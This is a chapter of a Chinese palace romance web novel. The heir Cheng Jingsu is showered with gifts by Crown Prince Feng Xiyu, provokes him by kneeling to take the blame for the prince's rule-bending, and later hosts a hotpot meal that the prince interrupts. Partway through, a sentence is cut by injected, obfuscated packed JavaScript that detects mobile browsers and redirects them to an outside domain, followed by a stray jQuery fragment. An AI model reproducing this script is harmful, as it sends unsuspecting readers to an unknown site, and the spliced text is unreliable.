程景簌回去没一会儿,太子流水般的赏赐送过来,程景簌有些不解,他拉过秦越问道:“太子殿下这是怎么了?方才还不高兴,怎会突然送这些东西过来?”
秦越哪敢直说,若是让殿下知道了,有他好果子吃,秦越道:“主子的心思,我哪里知道,我又不是白琦,太子殿下一个眼神就了解。”
程景簌无奈:“说的也是。”
白琦那般登峰造极的又有几个。
“行,好兄弟,不猜了,我给你选两个小玩意儿拿着……”
“不不不!”秦越怕被太子殿下惦记:“你别想着我的了,太子殿下送了你这么多,趁着天色尚早,得去谢个恩。”
程景簌道:“那咱俩一道儿……”
“可别!”秦越看着这个大麻烦头皮发麻,意识到他的举动有些奇怪,连忙解释:“殿下送的东西你先归置,我还有些事儿要忙,就不等世子了。”
秦越跑的飞快,就好像后面有鬼在追。
程景簌看着宫人将东西归置好,遣朝歌取了银子,他初来乍到,不敢大肆赏赐宫人,免得传出去让太子殿下乱想,如今,借着太子赏赐的机会,大肆赏赐了一番。
谁不爱财,即使是这些被太子摧残过的宫人,得了赏赐,面上都是压抑不住的喜色!
当然欢喜,程景簌这个散财童子每人赏赐五十两!想当初,他们入宫给的赏银不过五两银子!一个小太监,小宫女,除去各种孝敬,三五年攒不了五十两。
一个个口中止不住的吉祥话。
幸好栖霞殿宫人不多,赏完宫人,程景簌就去了太子的书房,此时,他正借着暮色在轩窗前读书。
程景簌道:“殿下,仔细风冷。”
凤羲玉眼神在光影映照下仿佛柔和了几分,他淡淡的回眸,招了招手,声音带着点点沙哑:“过来。”
程景簌缓缓走过去,行动间,衣摆轻动,眉眼间的神采飞扬被欢喜浸染,含笑道:“虽无功不受禄,但殿下的赏赐,景簌就却之不恭了,谢太子殿下伤。”
凤羲玉看他轻飘飘的说着谢恩的话,不仅不怪,反而觉得带着丝丝亲昵,极为受用:“我让秦越送去的伤药,记得准时用,早些好了,也可放心。”
程景簌道:“谢殿下。”
凤羲玉看着他一步一步的走过来,心里建设做了一次又一次,但还是没能说出哄人的话,只是淡淡的道:“你受伤了,不便抄写,孤会将你的礼记一并抄写了。”
凤羲玉手指微微蜷缩,耳朵带出点点红晕。
他久居高位,哪怕知晓自己错了,也说不出认错的话,只是今日的确是他不好,牵扯了程景簌“早逝的白月光”。
想起这个人,凤羲玉直觉不喜欢。
但左右不过一个死人,喜不喜欢有什么打紧,她又不能出来碍眼。
出乎凤羲玉的意料,程景簌并未欢喜非常。
程景簌心中觉得不妥,太子殿下最是尊师重道,极为守礼,可做这种欺瞒之事,明显不符合他往日的作风,她低声问道:“殿下可是有什么事?亦或是其他……”
凤羲玉略有些困惑,不答反问:“你不高兴?”
程景簌摇摇头:“没有啊,太子殿下帮我抄书,我自然很高兴。”
凤羲玉直白的道:“孤也高兴。”
程景簌愣了,下一刻直接大喊:“哪里来的邪祟!快从我家殿下身上下来!”
凤羲玉闭上眼,不想看程景簌的傻样:“闭嘴。”
程景簌唇角微微一动:“可,殿下……你真的没事?”
凤羲玉面无表情:“孤好得很!”
程景簌在心里小声蛐蛐:“一本正经的太子殿下干起欺上瞒下的勾当还能这么面不改色?怕是真病了。”
在她眼中,太子殿下神姿高彻,芝兰玉树,绝不会做这种事……程景簌眼中闪过一缕幽光,看来,凤羲玉并不像表面那般古板迂腐,尊师重道,骨子里甚至带着叛逆与自我。
只要凤羲玉高兴,在他眼中便没有什么不能做的。
这个认知让程景簌心下微凉,一个合格的储君,正直善良,品行高洁,不以自己的喜恶为转移。
凤羲玉偏离了这个轨道
程景簌在心中自省,她是否太过火,如宋潋所说的一般,近朱者赤,近墨者黑?
她想到此处,神色一正,在凤羲玉面前跪下,身姿笔挺,不卑不亢,眼神澄澈而坚定:“臣有罪。”
凤羲玉垂眸看她,深邃的眼神仿佛带着无穷无尽的吸引力,小小的瞳仁中,倒映着程景簌的脸庞。
他一言不发。
程景簌道:“太子殿下乃是万民典范,是君子中的君子,不该为臣破例,做这些……都是臣之过错。太傅曾言,近朱者赤,近墨者黑。景簌自知纨绔,不能为太子带来正面的引导,反而让殿下为我费心谋划,不惜……是臣之过,请殿下责罚。”
一字一句,宛如利剑,凤羲玉心脏一阵悸动,他用力抓紧身旁的扶手,面色平静:“你是在说,孤错了?”
程景簌冷汗都出来了,深深叩头:“不,殿下无错,是臣之过。”
凤羲玉一言不发,眸色沉沉的看着程景簌。
就因为他是太子,他端坐高台多年,一直克己复礼,谨守本分,一举一动都顾及着储君风范,稍稍逾矩,宋太傅便会规劝,直到他按照他们的心意,扮演好他们心目中的太子形象。
可他生来便是太子,他生来便是傀儡。
连自己喜欢的事都做不了。
一直如此,又是如此。
凤羲玉勾起一抹讽刺的笑,他站起身,亲自将程景簌扶起,声音冷若三九寒冰:“程世子一心一意为孤着想,孤受教了,那就请世子今后克己复礼,守好本分,为孤树立正确的方向,切莫纨绔无礼,不听教化。”
太子殿下又生气了。
**
程景簌的伤终究好了,时间也来到了落雪时节。
金陵的初雪落下,带来一丝入骨的凉意。
程景簌前几日托秦越在铁铺里做了几套铜锣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261180|181549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锅,正好用来吃一顿热热的火锅。
未时已经过了,程景簌还没来书房。凤羲玉心头不宁。
他不动声色的问道:“程世子呢?”
问这个秦越可太知道了,他替程景簌跑腿时,顺便给自己做了一套,昨晚就吃上了程景簌心心念念的锅子,别说,肉卷,丸子往锅里那么一煮,好吃的不得了。
秦越正想着今晚回去再吃一次,太子殿下就问了,秦越眼睛一亮,不知他能不能去程景簌那里蹭一顿,作为铜锅子的起源地,程景簌应该知晓更多好吃的做法,这么一想,秦越想去凑热闹的心顿时烧起来了,立刻道:“太子殿下,程世子昨日托臣带来几个奇怪的锅子,说是可以煮好吃的,今日莫不是被用膳耽搁了?”
凤羲玉淡淡的“嗯。”了一声,眉头都没动一下:“他散漫惯了,若是想要什么,记得带给他,没银子去支。”
秦越已经习惯了凤羲玉对程世子的偏心,见惯不怪,不过太子殿下怎么不说去瞧瞧?
他又不动声色的开口:“是,臣知道了,不过,说来也奇怪,那锅子一只就够用了,程世子让臣打了好几个,臣本以为程世子要送给殿下,殿下竟然不知道吗?”
凤羲玉放下手中的书,冷冷的瞧了一眼秦越。
栖霞殿
火锅的香味飘满了整个大殿,吃惯了山珍海味,这些东西虽不算特别美味,但胜在新鲜,程景簌已经许久没吃过火锅了,难得有点想念。
牛肉,羊肉,五花肉,丸子,虾滑,小酥肉……只是没有青菜,吃的有点不尽兴。此时的栖霞殿,里里外外一个人也没有,宫人们都躲在耳房里,三五成群的吃着属于自己的火锅。
又辣又香又新鲜,没想到花椒八角这些中药也能做吃食,而且那么好吃,鲜的人把舌头都吞下去了。
“奴才活了半辈子没见过程世子这么好的主子。”
“这火锅真好吃!今日也算是借着主子的光好好吃一顿了。”
“哎,时也命也,原本还不下来栖霞殿侍奉,谁能想到会有今日……唔——真香!”
东宫之中,气氛压抑,程景簌来了之后,好像一切都不一样了,他与他的侍女性情温和,谈笑风生,早已让他们心生艳羡,谁能想到,有朝一日他们也能被程世子大肆赏赐,不仅如此,他从不轻易惩罚宫人,言辞温和,虽然有时行事张狂了些,可也有太子殿下兜底,轻易不会受罚。
此时,东宫所有的宫人都羡慕他们有一个好主子。
栖霞殿内,程景簌拉着朝歌一起坐下才算是有个伴,不过,也不是第一次了,朝歌很熟悉流程。
帮主子倒好甜甜的果子水,就熟练的往里面下着食材。
程景簌浅尝两口:“味道不错。”
“是吗?主子喜欢就多喝点!”朝歌眼睛亮晶晶,笑着给程景簌倒小甜水,侧身倒向程景簌一侧,从远处看,格外亲昵。
铜锣锅里的火锅正咕噜咕噜的冒着泡。
身后却传来冷如冰霜的声音:“你们在做什么?!”